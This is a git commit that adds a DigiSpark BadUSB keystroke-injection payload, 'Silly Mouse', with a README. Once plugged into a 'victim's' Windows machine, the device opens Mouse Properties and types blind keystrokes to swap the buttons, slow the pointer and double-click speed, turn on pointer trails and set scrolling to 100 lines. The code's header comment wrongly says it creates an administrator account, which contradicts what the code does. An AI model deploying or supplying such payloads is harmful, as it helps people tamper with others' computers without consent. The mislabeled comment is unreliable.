Added Silly_Mouse script
This commit is contained in:
parent
f502fa4e6d
commit
5a370e4ad8
|
@ -0,0 +1,14 @@
|
||||||
|
# Silly Mouse script
|
||||||
|
Why? Because why not? This is the ultimate troll that messes with your victim's mouse settings to unbearable levels.
|
||||||
|
Inspired by Caleb Hutchinson's Silly Mouse Ducky Payload from hak5darren/USB-Rubber-Ducky, ported to Windows 10 and made better.
|
||||||
|
|
||||||
|
# This script does the following:
|
||||||
|
1. Opens Mouse Properties
|
||||||
|
2. Switches primary and secondary buttons
|
||||||
|
3. Changes double-click speed to slow
|
||||||
|
4. Displays pointer trails
|
||||||
|
5. Decreases pointer speed to lowest possible setting
|
||||||
|
6. Increases Vertical Scroll increment to 100 lines
|
||||||
|
|
||||||
|
# Credits
|
||||||
|
- Vel1khaN
|
|
@ -0,0 +1,89 @@
|
||||||
|
//This DigiSpark script creates new local user and adds it to "Administrators" group
|
||||||
|
//Tested on Windows 10 with English(US) keyboard layout
|
||||||
|
//Created by Michyus
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
void setup() {
|
||||||
|
#define KEY_TAB 43
|
||||||
|
#define KEY_ARROW_RIGHT 0x4F
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(0);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print("main.cpl");
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print("100");
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
for(;;){ /*empty*/ }
|
||||||
|
}
|
Loading…
Reference in New Issue